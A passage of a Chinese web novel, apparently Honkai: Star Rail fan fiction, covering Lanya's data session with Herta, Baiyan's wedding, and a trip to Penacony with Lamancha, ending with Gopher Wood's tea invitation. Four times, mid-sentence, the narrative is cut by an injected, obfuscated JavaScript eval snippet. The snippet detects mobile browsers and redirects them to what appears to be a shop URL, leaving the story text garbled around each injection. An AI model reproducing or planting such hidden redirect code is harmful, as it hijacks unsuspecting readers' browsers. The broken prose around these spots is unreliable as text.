黑塔说:“我有一个计划。开发一款独立的虚拟空间,用计算机技术完整地、全尺度地模拟出整个宇宙。在这个模拟宇宙里,我可以人为地干涉命途概念的行为,观察这些干涉会引起什么反应。如果干涉足够强,可能会得到相对应星神的瞥视,从而研究星神本身。” 兰涯听完这段话,想了一下:“你打算用我的数据作为终末命途的样本。” “对。”黑塔说,“你的存在本身就很有价值。你不是丰饶令使,不是巡猎令使,你甚至不知道自己是什么命途,但你确实在使用终末的力量在前行。如果你同意,我会把你的数据录入数据库,作为终末命途的参考模型。” 兰涯想到自己从虚无深渊被芽衣拉上来,到跟着阿哈去看戏,到在战场上救人,到现在站在黑塔空间站里被一个人偶请求提供数据。她从来没有想过自己会成为什么“样本”,但她也不反感,黑塔至少问了。 “可以。”她颔首,“但我再说一次,我不确定自己是不是终末命途。你可以先记着,以后如果发现不对,再改。” 人偶点了点头:“那就先记作终末。” 它从裙子口袋里掏出平板记录了一下。 “好了。”人偶收起装置。“谢谢你配合。” 它转身走了。走了两步又停下来,回头看了兰涯一眼。 “你刚才说博识学会有些派系不怎么做人,我知道你说的是哪个派系。完美进化学派确实有问题。” 兰涯没有说话。 人偶继续说:“但天才俱乐部和博识学会不一样,比完美进化学派更神经质的疯子比比皆是,连我自己都不太想和那几个特别疯的打交道。成员各自为政,没有统一的立场。唯一默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485890|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认的规矩就是不能互相干涉对方的课题。你想研究什么就研究什么,只要不挡我的路就行。” 说完,人偶走了出去,小小的身影消失在走廊尽头。 艾丝妲在旁边听了一会儿,插话进来:“兰医师,你要不在空间站待两天?湛蓝星空域的反物质军团还没彻底击溃,航道不安全。等战斗结束了再走也不迟。” 兰涯想了想,她没有什么急事,没有人等她。 “好。”她说。 艾丝妲让人给她安排了一间客房,就在生活区,窗户对着湛蓝星,能看到飞船起落。 兰涯把东西放下,然后去资料室找黑塔。 黑塔在一间很大的实验室里,周围摆满了各种仪器和人偶。她本人没有来,还是人偶在操作。看到兰涯进来,人偶指了指旁边的一台终端。 兰涯坐下来,开始录入。数据不多,大概花了一个小时就弄完了。她站起来,人偶还在另一边调试什么,头都没抬。 “你资料库里的东西,我能看吗?”兰涯问。 人偶说:“看吧。不加密的都能看,加密的你打不开。” 兰涯走到资料室,在终端上先搜了“无漏净子”,这个词我见说过,她不知道是什么意思。 屏幕上弹出一段文字,不过落笔不多。银河能达成的共识只有一个,一位或几位无漏净子建立了流光忆庭,共同看守记忆的秘密。 原来和记忆有关。她又搜了“仙舟龙尊”。 这次出来的内容很多,她粗略看了一下。仙舟罗浮的龙尊是持明族的领袖,世代传承,拥有龙裔的力量。 现任龙尊的名字她一个都没听说过,玉阙上下都忙于战事,也没空闲见玉阙的龙尊。但资料里提到,龙尊的传承需要在特定的时间点完成,否则会引发持明族的内部动荡。 兰涯把这些信息记在心里。她不知道我见说的“彻底抛开往昔的束缚”是什么意思,也不知道“在规定的时间点登上列车”是什么时间点,但这两个名词的确比较新鲜。 上次阿哈给她讲的也都是星神之间的秘辛,完全不知道下面各种命途行者如此丰富多彩。 闲着也是闲着,兰涯干脆在资料库里把各个派系都阅读了一遍,不得不说,久违地体会到了听白焰讲八卦的快乐。 第二天早上,艾丝妲来敲门,说反物质军团的攻势已经退了,湛蓝星的航道恢复了安全。她问兰涯要不要再留一天,空间站的工程师修好了一台旧型号的模拟器,可以体验一下。 兰涯说不用了,她该走了。 走出空间站的时候,她回头看了一下。黑塔空间站在星光照耀下泛着银白色的光,几艘小型飞船从港口飞出去,拖着蓝色的尾焰,朝湛蓝星的方向去了。 她转过身,确认了一下坐标,开始跃迁。 星海在她周围拉成细长的光丝,空间折叠又展开。黑塔空间站越来越远,最后变成一个亮点,和其他亮点混在一起,分不清了。 22. 第 22 章 兰涯到曜青的时候,白焰在码头等她 狐人穿着粉色的外衣,头发盘起来别着金饰,耳朵从发髻里钻出来,毛茸茸的,尖端染了一点朱红。 看到兰涯从接驳船上下来,白焰跑过来一把抱住她,脆生生地说:“你来了!” 兰涯已经开始习惯拥抱了,很自然地拍了拍她的背:“恭喜。” 白焰松开她退后一步,上下打量了一番:“你穿这身真好看。” 兰涯穿着仙舟姑娘们送的那套衣服,头发盘着,两枚针别着,没换别的,因为这套最正式。白焰拉着她的手往城里走:“明天婚礼,今天先带你吃好吃的。” 曜青的街道比玉阙窄一些但更热闹,两边全是铺子,卖吃的,卖布的,卖古玩的,吆喝声混在一起。 白焰走得很快,耳朵在前面一抖一抖,兰涯跟着她穿过两条街拐进一条巷子,在一家店门口停下来。 招牌上写着“曜青浑天鼎镬”,门面不大里面却很宽敞,桌子是木头的,中间挖了一个洞,洞下面架着炉子,炉子上坐着一口大锅,锅中间隔了一道挡板,一边是红的一边是白的,红的那边浮着一层辣椒和花椒,白的那边飘着几颗红枣和枸杞。 白焰拉着兰涯坐下,对老板喊了一声:“鸳鸯锅,中辣!” 老板应了一声转身去准备。兰涯看着隔壁桌上的锅,红的那边红得发黑,她莫名地产生了不安的情绪:“中辣是多辣?” 白焰想了想:“还行吧,不是很辣。”兰涯没说话,白焰看了她忐忑的样子,笑了:“你可以吃白锅,白锅不辣。” 锅端上来的时候红汤在翻滚,辣椒和花椒浮上来又沉下去,空气里全是麻辣的味道,兰涯被呛得眯起了眼。 白焰把肉片、毛肚、虾滑、豆腐一样一样下进去,动作很快很熟练。 兰涯问:“你常来?” 白焰说:“以前常来,现在不怎么来了。” “为什么?” “因为忙,工作、婚礼的事多。”白焰夹了一片毛肚在红汤里涮了七上八下,放进兰涯碗里。 兰涯看着碗里的毛肚上面沾着的红油,感觉比绝灭大君还可怕,鼓足勇气夹起来咬了一口。辣味从舌尖冲进来,穿过口腔窜上鼻腔,直冲天灵盖,她举着筷子,愣在那里,不动了。 白焰看着她笑了:“辣吗?” 兰涯说不出话,端起桌上的万事大捷奶乎乎拿铁喝了一大口,得救了!奶味很浓甜度刚好,凉凉的从喉咙滑下去把火浇灭了:“这个好喝。” 白焰得意地说:“那当然,曜青特产。” 继续吃,兰涯学乖了只吃白锅,白锅的汤底是骨汤,鲜而不辣,她把青菜和豆腐捞出来蘸一点酱油慢慢吃。 白焰吃红锅吃得很快,鼻尖冒汗嘴唇红红的,耳朵也红了,最后她也不得不缓一下喝口拿铁。 放下杯子,她的手蘸着菜叶滴到桌上的清水,画了个圈,说:“狐人的寿命,在仙舟算是短的,大概三、四百年。我已经活了一百多年了。” 兰涯放下筷子,没有说话。 白焰继续说:“上次倏忽围攻玉阙,你以为我是因为害怕才哭的,其实不是。我是因为看到那个孩子死了,那个狐人的孩子比我小很多。我想,如果是我死了,我的家人怎么办。” 兰涯还是没说话。 白焰说:“后来我活下来了,你救了我,救了很多人。但仙舟和丰饶民的战争没有结束,一直在打,断断续续的,不知道什么时候会轮到我。” 兰涯知道,那些疼痛从虚数脉络传来没有停过,她已经习惯了,习惯成自然,自然到她不再去想。 白焰说:“说不定下次就见不到面了,所以今天请你吃饭,怕没机会了。” 兰涯伸手摸了摸白焰的耳朵,毛茸茸的软软的,白焰没有躲,听到她说:“不会的。” 白焰愣了下,然后笑得更开了,她站起来绕过桌子抱住兰涯,脸埋在兰涯的肩窝里,耳朵贴着她的脖子,痒痒的,闷闷地说了一声:“谢谢你,兰涯。” 兰涯伸手回抱住她,拍了拍她的背。 白焰松开她坐回去,拿起筷子又夹了一片毛肚放进红汤里。她说:“你还记得你在玉阙救的第一个云骑校尉吗?” 兰涯想了想,想起来了,玉阙战地医院那个濒死的伤者,那人醒过来后,自己说你还能上去打三百回合。 “就是他,”白焰说,“他叫衡安,倏忽围攻的时候受了重伤你救了他,他后来调来曜青,我们认识的。我们商量了,以后有了孩子认你做干妈。” 这个词语按在自己身上可太新鲜了,兰涯感觉有什么沉甸甸的责任在自己身上,不过她还是颔首:“好。” 白焰笑了:“那就说定了。” 婚礼在第二天,白焰穿着红色的嫁衣,衡安穿着红色的礼服,他紧张得像是要上战场,站在那里手不知道往哪放。神奇的是,白焰握住他的手,他就不抖了。 两个人站在司仪面前鞠躬,白焰的耳朵一直竖着,尖端的那抹朱红在灯光下很亮,衡安看她的时候眼睛里有光。 兰涯坐在宾客席里,旁边是青禾、苏湄和其他几个姑娘,苏湄哭得稀里哗啦,纸巾用了一包又一包,把青禾的衣服都扯过来擦眼泪了。 兰涯当然没有哭,她看着白焰和衡安站在一起,红色的嫁衣和红色的礼服混在一起分不清谁是谁,感觉自己像妈妈一样,特别欣慰。 她拿出手机给拉曼查发了条消息:“白焰结婚了。” 拉曼查回得很快:“你在曜青?” “嗯。” “什么时候回来?” 回来?不知不觉中,自己在游侠基地暂留的时间过长,产生了回家的错觉吗? 兰涯放下这种奇怪的发现,回复:“过两天。我要去一趟匹诺康尼。” “匹诺康尼?干什么?” “找米哈伊尔,替铁尔南传话。” 拉曼查显示正在输入中的状态半天,然后发了一句:“我跟你一起去。” 兰涯想了想,回了一个“好”。 拉曼查在游侠基地换衣服。这次出门是拜访故人之友,他不想以游侠的身份进匹诺康尼,那里现在是同谐六大家系“家族”的地盘,巡海游侠和公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485891|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系不好,家族和公司的关系也很微妙,没必要惹麻烦。 熊坐在旁边擦枪,看到他换衣服停下动作:“老大,你穿这么整齐干什么?” 拉曼查说:“出门。” 熊问:“去哪?” 拉曼查说:“匹诺康尼。” 熊看了看他身上的红白马甲和白色斗篷:“你穿这身去匹诺康尼?那边现在全是游客,穿什么的都有,不用这么正式。” 拉曼查没理他,把黑色打底衣的领子整好扣上马甲的扣子。 鸮靠在墙边,双手抱胸看着他,幽幽地说:“他要见人。” 熊问见谁,鸮没回答,拉曼查也没回答。 拉曼查走到镜子前看了看自己,红白马甲衬得他肩宽腰窄,白色斗篷加了一层绅士风,礼帽压低半张脸只露出下巴和嘴唇。他拿上手杖,银色的手柄在灯光下亮了一下。 熊吹了声口哨:“老大你这身能去走红毯了。” 拉曼查没理他,推门出去。 兰涯已经在星舰上等他了,因为多了个人,她自己没法独自跃迁,只好重新用上传统交通工具。 看到他出来,她上下看了一遍:“你要当侦探吗?” 拉曼查脸上浮现出果然如此的神情,仿佛对兰涯永远踩不到点的思维回路习惯了,轻咳一声:“走吧。” 匹诺康尼和兰涯想象的不一样,她以为拥有“盛会之星”名号的地方,应该是熙熙攘攘的人群,喧嚣的音乐,一片灯海,总之让她头晕眼花之处。 下了船后才发现,巨大的驻泊码头后面是一家巨大的酒店。外墙是白色的,嵌着金色的线条,门口喷泉里喷涌出像宝石一样闪闪发光的液体,在阳光下时不时跃出一个小彩虹。 拉曼查站在她旁边,手杖点地:“米哈伊尔把这里做起来了,家族也出了力。” 兰涯问:“家族?” 拉曼查说:“同谐的六大家系,他们和米哈伊尔合作把匹诺康尼打造成了盛会之星,来这里的都是游客。” 兰涯看着不远处酒店门童穿着制服戴着白手套,拉开门鞠躬,她问:“你知道米哈伊尔在哪里吗?” 拉曼查颇有侦探模样地摸摸下巴:“直觉告诉我,直接去白日梦酒店问一问就行了,不是在酒店,就是在梦境。” “梦境?”这又是什么新鲜词语。 拉曼查解释:“匹诺康尼分现实和梦境,现实中的匹诺康尼是一座悬于银河的星际酒店,你可以在这里办理入住,进入客房休息。而入睡后,你才会见到匹诺康尼真实的样子,由十二片梦境构成的梦之国度。” 两人步入酒店,大堂大得离奇,吊灯是水晶的垂下来好几层,地面是大理石的,光可鉴人。前台站着几个接待员穿着统一的制服,笑容标准。 拉曼查走到前台压低帽檐:“我们找米哈伊尔。” 接待员愣了一下:“请问您有预约吗?” 拉曼查说:“没有。请你告诉他,铁尔南的朋友来了。” 接待员拿起电话拨了一个号码低声说了几句,挂了电话对拉曼查说:“请稍等,有人来接您。” 23. 第 23 章 他们在大堂的沙发上坐了大概五分钟,一个穿着制服的年轻侍者走过来请他们跟着走。走进电梯,上了顶楼,穿过一条走廊,年轻侍者在一扇门前停下来,敲了敲门,里面有人说“请进”。 门开了,米哈伊尔站在窗边转过身来,曾经年轻的无名客,头发已经白了。他看着拉曼查和兰涯,声音很低很稳:“铁尔南的朋友?” 两人自我介绍后,兰涯说:“铁尔南托我传话。” 米哈伊尔看着她,等着她继续说下去。 兰涯说起了天鹰堡战役,那是兰涯最后一次见到铁尔南。 米哈伊尔听完没有说话,他转过身看着窗外,窗外是匹诺康尼的城景,建筑高低错落,玻璃幕墙反射着阳光。 沉默了很久,他又看了看拉曼查:“铁尔南在失踪后加入了巡海游侠?” 拉曼查回忆了一下,将铁尔南随灯蛾家系一同重新开辟银轨,遭到虫群袭击,被游侠解救下来的事讲了,将后来他加入了巡海游侠参与诛杀绝灭大君的事也讲了,最后总结:“非常优秀的无名客和游侠,一名真正纯粹、高尚且无私的伟大战士。” 米哈伊尔自豪地笑了,为自己曾经的列车同伴而自豪:“是的,他非常优秀。” 他走到桌边,倒了两杯苏乐达递给他们:“他走之前,有没有说别的?” 苏乐达很好喝,很特别的果味汽水。兰涯放下杯子,开口:“他说匹诺康尼是个很棒的地方,说你们曾经拼命守护这里,说让你一个人在这里他很抱歉。” 米哈伊尔端着杯子没有喝,看着杯里的苏乐达噗噗噗地向上冒泡,:“他就是这样,总是道歉,明明没什么好道歉的。” 没有人接话,房间里很安静,窗外有鸽子飞过,影子落在玻璃上很快消失了。 米哈伊尔放下杯子,走到兰涯面前,伸出手:“钟表匠向您致意,绝境医师。”兰涯握了握他的手。 他又看了看拉曼查:“也向您致意,领猎人,感谢游侠出手相助。” 米哈伊尔邀请两人体验一下梦境十二时刻,兰涯对于梦这种东西很好奇,毕竟她自己从来没有做过梦。 进入房间,从入梦池里沉下去的时候,兰涯感觉到一种奇怪的震动,有什么声音钻进了耳朵。 那个声音像是虫群翅膀在震动,无数对翅膀叠在一起,嗡嗡嗡的。嗡声下面还压着一层别的东西,更沉更闷,像什么东西在被干扰、被撕裂、被重新拼起来。 她睁开眼睛,发现自己站在一个很奇怪的地方。远处有一个巨大的黑洞,脚下踩着一层薄薄的水面,但鞋底是干的,她蹲下来摸了一下地面,干的,硬的,像玻璃又像石头,站起来看向四周,什么都没有,只有水和黑洞,延伸到无限远的地方 这个地方很像是虚无深渊。她曾在那里坐了很久,久到她以为自己会永远坐下去。但这里又不太一样,真正的虚无深渊有雾,灰色的浓雾翻涌着像活物。这里没有雾,只有水和黑洞,水是透明的,黑洞是黑的,一切都是静止的。 她听到身后有脚步声。她转过身,看到拉曼查朝她走过来。 “你怎么在这?”她问。 拉曼查走到她面前停下来,看了看周围。“我不知道。入梦之后就到了这里。”他顿了顿,“这是太阳的时刻?这也算太阳?” 原本计划去太阳的时刻参观博物馆,显然现在身处之地南辕北辙。 兰涯说:“当然不是太阳的时刻,我观察了一下,也不是虚无深渊,那里有雾,很冷,这里没有,也没那么冷。” 拉曼查像个侦探一样抓住了细节:“你去过虚无深渊?” “对,在诛罗之战的前面,我被人从那里带了出来。” 拉曼查所有所思,不过也没再多问。 两个人站了一会儿,确认了三件事。第一,这里不是梦境十二时刻的任何一个。第二,这里没有出口。两人试着往前走了一段路,走了一刻钟,风景没有任何变化,水和黑洞,水和黑洞。 第三,地上流动的不是水,是忆质。 兰涯在黑塔空间站搜索“无漏净子”时,读过一篇关于忆质的论文,说梦境是由忆质构建的,忆质的流动和凝固决定了梦境的形态和稳定程度。 她当时觉得这篇论文写得太抽象,没怎么看懂,但此刻她忽然想起论文里的一句话:忆质的底层存在一个“后门”机制,当入梦者的肉/体濒临死亡时,后门会自动开启,将意识转移到安全区域,避免意识随肉/体一同消亡。 如果按照这个理论,这里可能就是梦境系统的后门,映照出的是入梦人的内心。现在入梦人是自己,虚无深渊是自己重新启程的地方,映照出也不奇怪。 兰涯疑惑的目光转移到拉曼查身上:“你入梦时有听到什么吗?” 拉曼查犹豫了一下,说:“听到了咀嚼和吞噬的声音。” 兰涯看着他,没有接话。拉曼查看着她,也没有说话。两个人站在水和黑洞之间,站了很久,气氛一时间尴尬起来。 “出不去。”拉曼查说。 “对,等着吧。” “不知道要等多久。” “嗯。” “找点事做。” 兰涯抬头:“做什么?” 拉曼查把手杖放在地上,在干燥的水面上坐下来,把斗篷铺在旁边,拍了拍那个位置,示意兰涯坐下来。 “真心话。”拉曼查说,“一人问一个,轮流来。” 兰涯同意了。 猜拳,拉曼查先问。他看着远处那个沉默的黑洞,问了一句:“你一直在疼,对吗?” 兰涯点头,拉曼查脸上露出了“果然如此”的表情。 下一回合轮到兰涯问:“现在味觉已经退化了吗?” 拉曼查愣了一下:“你怎么知道?” “违反规则了,现在是我问你答,你先回答问题。” 拉曼查沉默了片刻,说:“已经开始退化了。苦味最先走的,喝咖啡喝不出苦味了,喝起来像热水。甜味也在退,米哈伊尔那里喝的那杯苏乐达,不甜,就是果香气泡水的味道。” 轮到拉曼查问刚才的疑问:“你怎么知道我的味觉退化了?” 兰涯将遇到观星者我见的事说了,包括拉曼查和贪饕影子共生、影子吞噬了什么他就能尝到什么味道、到最后他会失去味觉。兰涯说完,看着拉曼查的眼睛,补了一句:“你瞒得很好。” 拉曼查没有说话。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485892|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着远处那个沉默的黑洞,然后说:“你也瞒得很好。” 兰涯说:“是的,我们彼此彼此。” 两个人又沉默了,水一样的忆质在他们周围无声地铺开。 长久以来对于时间的流逝没什么认知的兰涯,突然发现拉曼查的头发内侧开始变白了,如果从背后看看不出,但是内侧末梢开始就特别明显,带着米哈伊尔那种白色。但他的面容不显衰老,不知道是不是影子的影响。 观察得过于专注,引起了拉曼查的注意,问:“你看什么?” “你有白发了。” 拉曼查愣了愣,耸耸肩:“都几个琥珀纪过去了,有白发不奇怪。”他顿了顿,突然回忆起家乡,“在喀琅施塔特星,橙花海岸的花期是每年春季,橙花是白色的,很小,开满枝头,风一吹花瓣就落,像下雪,落在头发上,我和伙伴们都互相扮老爷爷。” 兰涯听着他继续说,“不过我很久没回去了,星球被诛罗污染了,橙花也枯了,不知道什么时候能再开花。” 又过了不知道多久,久到拉曼查都开始说:“想想办法吧,万能的医师!”兰涯反驳:“我哪里万能了?” 远处的水面上出现了一个光点,像一盏灯,在黑色的背景里一闪一闪。拉曼查站起来,拿起手杖,伸手把兰涯拉起来。两个人朝光点走过去,光点越来越大、越来越亮,等他们走到跟前的时候,光点已经变成了一扇门。 兰涯推开门,光线涌进来,走进了匹诺康尼的阳光里。 太阳的时刻是白天,天很蓝,云很白,不远处天上有黑色的鸟儿盘旋在楼宇之间。拉曼查忍不住将帽檐压低,避开过于灿烂的阳光。 兰涯和拉曼查在太阳的时刻逛了一整天。 太阳的时刻是匹诺康尼梦境十二时刻里主打文化游的一个,这一条街道两侧全是博物馆、画廊和图书馆,石材外墙上爬着藤蔓,路灯是铁艺的,玻璃罩里燃着暖黄色的光,据说另一头的折纸大学就现代青春很多。 拉曼查对博物馆没什么兴趣,但他没有催兰涯。他跟在兰涯后面,手杖点地,帽檐压低,像一尊移动的雕像。 兰涯走得很慢,每一个展柜都要停下来看,看完正面看侧面,看完侧面看背面。拉曼查问她看什么,她说看无名客的东西。匹诺康尼是米哈伊尔、铁尔南和拉扎莉娜三个无名客打下来的基础,她想看看这里的记录。 结果没看到什么。匹诺康尼大博物馆的三楼有一个展厅叫“拓荒之路”,占了不到三十平米,靠墙一排展柜,中间一个沙盘。展柜里放着几件拓荒时期的工具,一把生锈的镐头、一盏摔扁的油灯、一件磨出洞的皮围裙。墙上挂着一块展板,上面写着:“匹诺康尼自建设初期起,便吸引了来自各个派系的拓荒者,他们的贡献为今日的盛会之星奠定了坚实基础。”整段话里没有出现“无名客”三个字,也没有出现米哈伊尔、铁尔南或拉扎莉娜的名字。 拉曼查站在那块展板前看了很久,然后说了一句:“他们把无名客抹掉了。” 兰涯没有说话,她拿起展厅入口的导览手册翻了翻,关于“拓荒之路”展厅的介绍只有一行字,写着“本展厅展示了匹诺康尼早期建设者的奋斗历程”,同样没有提无名客。 24. 第 24 章 他们离开大博物馆之后去了初醒图书馆。 图书馆在太阳的时刻北侧,是一栋六层楼的建筑,外立面是玻璃幕墙,反射着匹诺康尼的蓝色天空。 兰涯在一楼大厅的电子区找到了一个终端,屏幕上列着各种多媒体资料,包括老电影、纪录片和动画片。她点开了《钟表小子和他的伙伴们》,因为封面上的钟表小子让她想起了自己发间那枚金色的时针。 动画片每集只有七八分钟,画风很简单,线条圆润,配色明亮,像给小孩子看的那种。兰涯看了一集又一集,拉曼查站在她旁边,也跟着看。 拉曼查看到钟表小子拔下自己指针的时候,转头看了兰涯一眼。兰涯发间别着两枚针,一枚金色的时针,一枚银色的指针。 他没有说话,但兰涯知道他在想什么,按了暂停,说:“钟表小子是罗盘小子。” 她忽然意识到一件事,如果钟表和罗盘是互补的,那终末和开拓也是互补的。终末就是开拓,开拓就是终末?它们不是对立的,是一个东西的两面。 兰涯把这个念头在脑子里转了两圈,选择继续往后看。 后面出现了一个新角色,叫镜子公主。镜子公主和钟表小子关系很好,偷偷跟着上了罗盘号。镜子王国的士兵想要抓回镜子公主,罗盘号的船员用石头把士兵们砸成了碎片。 故事的最后,镜子公主牺牲自己,让大家打败了“不知道”,而且镜子公主留下的镜子碎片,帮助了大家很多,谐乐小镇来了个木头老爷愿意帮助钟表小子。 兰涯在图书馆的资料库里搜索了“镜子公主”,只搜到两条记录。 一条是动画片的制作访谈,导演说镜子公主的原型是匹诺康尼早期的一位拓荒者,没有提名字。 另一条是某个影迷写的文章,说镜子公主的形象设计参考了无名客拉扎莉娜。 据说她为了探明原初梦境的秘密,独自驾驶穿梭机消失在忆域中,再也没有回来。影评人还写道:拉扎莉娜以一己之力打造出了忆质航路,成为梦境十二时刻的伟大奠基者,但如今很少有人知道她的名字了。 这篇文章阅读量少得可怜,几乎等于零的程度。 兰涯关了终端,坐在椅子上没有动。拉曼查站在旁边,手杖拄在地上,也没有动。图书馆大厅里很安静,只有翻书的声音和远处走廊里皮鞋踩在地板上的声音。 “家族把无名客的功绩全抹掉了。”兰涯说。 “嗯。” “米哈伊尔一个人在这里,没有人帮他。” “嗯。” 兰涯想起铁尔南说的话。他说“等战火平息了,你一定要去匹诺康尼做客,去看看我们曾经拼命守护的那种安宁与美好”。 他说“顺便替我向米哈伊尔问好,只余下他一个人,真的很抱歉”。 她现在明白铁尔南为什么说“只余下他一个人”了。不只是因为两位无名客的离开只剩下米哈伊尔一个人,更是因为无名客的贡献被抹掉了,活着的人里记得他们的人越来越少,米哈伊尔一个人在撑。 拉曼查把手杖靠在桌边,拉了把椅子坐下来。他摘下帽子放在桌上,头发被帽子压得有点塌,他伸手捋了捋:“还发现什么了?” 兰涯把镜子公主和拉扎莉娜的事说了一遍,分析说在入梦池里误入的那个后门空间,可能就是拉扎莉娜留的。因为只有她深入过忆域,只有她知道怎么在忆质的底层开一条通道,连家族都不知道那条通道的存在。 拉曼查听完沉默了一会儿,说:“无名客做了事,家族不想让他们留名。” 兰涯说:“但铁尔南记得。米哈伊尔记得。” 拉曼查说:“他们快撑不住了。” 兰涯没有说话,她第一次体会到了为他人遭受不公平的不高兴。 阳光从玻璃幕墙照进来,落在地板上,亮晃晃的。兰涯看着那片光,想起铁尔南在战场上说的另一句话,他说“与其期盼明天,不如在今天灿烂”。 她当时觉得那是一句安慰她的话,现在想想,可能也是他自己对自己的交代。他知道自己回不来了,所以在那一天把该说的话都说了。 兰涯站起来,把椅子推回原位。拉曼查也站起来,拿起帽子戴好,拿起手杖。 “回现实。”两人不约而同地做出了决定。 两个人走出图书馆,沿着太阳的时刻的街道往回走。 一只鸟落在他们面前,鸟不大,羽毛是如深夜一样的颜色,眼睛是橙黄色的,瞳孔很圆,看着他们,一动不动。 兰涯认出了那种鸟,隐夜鸫。她博物馆的展板上看到过,隐夜鸫是匹诺康尼的原生鸟类。 隐夜鸫歪了歪头,将嘴里衔着的纸卷放下。拉曼查打开纸卷,念出里面的字:“橡木家系,梦主歌斐木,诚挚邀请绝境医师前往私人茶会。” 兰涯看着那只隐夜鸫,隐夜鸫看着她。鸟没有走,就蹲在那里,橙黄色的眼睛一眨不眨。 “他知道我们在这。”兰涯说。 拉曼查把纸卷递给她:“家族的消息比我们想的灵通。” 兰涯接过纸卷,翻来覆去看了一遍。纸张背后还印着橡木盾牌的纹章,盾牌中间是一棵橡树,树冠很大,根系很深。刚才那行邀请的下方还有一行字,写着茶会的地点,位于朝露的时刻的朝露公馆。 “去不去?”拉曼查问。 兰涯想了想:“不想去也得去。” “我陪你。” “你进得去吗?” 拉曼查看了看那张邀请函,上面只邀请了兰涯。他把帽子往下压了压,说:“我在外面等。” 隐夜鸫看到兰涯收了,扑了扑翅膀,转身飞走了。它飞得很低,翅膀几乎擦着地面,在街角拐了个弯就消失了。 朝露公馆的走廊很长,地毯是深红色的,踩上去没有声音。每隔几米就有一盏壁灯,灯光昏黄,把墙体的边框照得发亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485893|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走廊尽头有一扇门,门是深棕色的,门把手是黄铜的,磨得发亮。门口站着一个穿黑色礼服的侍者,看到兰涯走过来,微微鞠了一躬,替她拉开了门。拉曼查在走廊里停下来,靠在对面的墙上,手杖拄在身前,帽檐压低。 兰涯走进房间。 房间不大,是一个小型的会客厅。地上铺着深色的木地板,中间放着一张圆桌,桌上铺着厚实的桌布,摆着一套茶具。圆桌旁边坐着一个人。 他看起来有一种神职人员的模样,黑色头发梳得很整齐,架着一副眼镜,脑袋后面的圆环告知了自己天环族的身份。 歌斐木没有站起来,他抬起头看着兰涯,眼睛仿佛是笑眯眯的,但那个笑容没有温度。 “绝境医师。”他的声音很优雅,“请坐。” 兰涯在圆桌另一侧坐下来。桌上摆着两杯茶。歌斐木端起自己那杯抿了一口,放下,看着兰涯。 “医师在匹诺康尼逛了一天,觉得这里如何?” 兰涯说:“很好。很热闹。” 歌斐木点了点头:“匹诺康尼能成为盛会之星,离不开家族的治理。家族各司其职,橡木家系统筹全局,才有了今日的繁荣。我们希望它能一直走下去,走到更远的地方。如果有人想破坏这一切,家族不会坐视不管。” 兰涯看着他:“谁要破坏?” 歌斐木没回答,巧妙地问:“医师今天参观了博物馆,对匹诺康尼的历史感兴趣?” “有一点。”兰涯说。 “匹诺康尼的历史很长,也很复杂。有些事,不是一句两句能说清的。”歌斐木放下茶杯,双手交叠放在桌上,“但有一件事是确定的,匹诺康尼能走到今天,是因为有人愿意为它牺牲。米哈伊尔先生为匹诺康尼付出了无数心血,家族一直感念他的贡献。” 兰涯看着歌斐木,他的表情很真诚,真诚到几乎看不出破绽。 歌斐木站起来,走到书架边,背对着兰涯,双手背在身后。 “医师有没有想过,为什么匹诺康尼的梦能这么美好?” 兰涯说:“没有。” 歌斐木转过身看着她,笑眯眯的眼睛微微睁开,像一口枯井,看不到底。 “因为美梦需要秩序。”歌斐木说,“没有秩序的美梦,很快就会变成噩梦。之所以制定十二时刻,划分梦境,限制入梦者的行为,不是为了限制自由,是为了保护自由。没有这些秩序,匹诺康尼早就被那些疯狂的逐梦客毁灭了。” 他走回圆桌旁,重新坐下。 “医师游历宇宙,应该知道,没有秩序的约束,是脆弱的;没有牺牲的安宁,是虚假的。” 兰涯看着他,问了一句:“你想说什么?” 然后歌斐木真的像什么教堂神父一样,说出了一段话: 